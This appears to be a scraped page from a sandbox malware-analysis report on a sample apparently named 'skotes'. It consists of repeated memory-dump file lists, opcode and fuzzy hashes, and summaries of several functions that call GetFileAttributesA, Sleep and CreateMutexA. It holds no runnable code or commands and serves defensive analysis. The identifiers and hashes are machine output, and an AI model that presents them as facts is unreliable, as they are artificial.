Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7cce96d8bd5602dc3fddc287f46b81288f711b235016cce5d8788939b5d90e06
Instruction ID: 3c053ef7f1cc94fae25eb2c9d1b1744bff6294e2cc17c6d565d8a984480e6277
Opcode Fuzzy Hash: 7cce96d8bd5602dc3fddc287f46b81288f711b235016cce5d8788939b5d90e06
Instruction Fuzzy Hash: 46314831600100EFEB18AB78DC897AEB766EFC6314F248719E014DB2D5E73EA985C712

Function 007AA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA07C
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: f2cb399d45ff5a5e08174299a34630c3508f00c84e86327c3bc1e04ca9981072
Instruction ID: d549bc5a36f59fd1b611da60ca473ea83835d8926c8a0f41e89b06a5b8a774bb
Opcode Fuzzy Hash: f2cb399d45ff5a5e08174299a34630c3508f00c84e86327c3bc1e04ca9981072
Instruction Fuzzy Hash: D5310731610104ABEB189B68DC89BAEB776DFC6314F248319E014973D5E77EA981C723

Function 007AA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA1B1
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 91782f7067a6b5eaba10d115010035b3c0cc184de491de30ad255bbb7a3066cd
Instruction ID: c6f09baf4ddf1a3e4f4865f207280562fd5deec1d41c3b28c23891720c1e9fc3
Opcode Fuzzy Hash: 91782f7067a6b5eaba10d115010035b3c0cc184de491de30ad255bbb7a3066cd
Instruction Fuzzy Hash: F0310731A00104ABFB18ABA8DC897ADB776EFC7314F248319E014972D1E77E9981C722

Function 007AA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA2E6
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7c638e5db70fd95188966cfdb225d2d67bd54317f3570515a43c38dfbe07c2d8
Instruction ID: aa5594ea6c8f85d9930e90d0e171506544f2b9a3218d07af6ee9c57b1ad53f18
Opcode Fuzzy Hash: 7c638e5db70fd95188966cfdb225d2d67bd54317f3570515a43c38dfbe07c2d8
Instruction Fuzzy Hash: A3312631A00200ABEB18EB68DC897ADB776EFD7314F248319E014972D5D77EA981C722

Function 007AA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA41B
Sleep.KERNEL32(00000064,?), ref: 007AA963
CreateMutexA.KERNEL32(00000000,00000000,00803254), ref: 007AA981

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0314bda6cde9ded7e423e28216b5ef2d04ff92e8597da163514b6396bfc5900e
Instruction ID: 3adb218245c53257a6a91cc66952958e1a59dac5eee75275336e12839439b825
Opcode Fuzzy Hash: 0314bda6cde9ded7e423e28216b5ef2d04ff92e8597da163514b6396bfc5900e
Instruction Fuzzy Hash: D5310831A04140ABEB18ABBCDC897ADB775EFC6314F248319E014972D5E77D6981C762

Function 007AA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 007AA550
Sleep.KERNEL32(00000064,?), ref: 007AA963
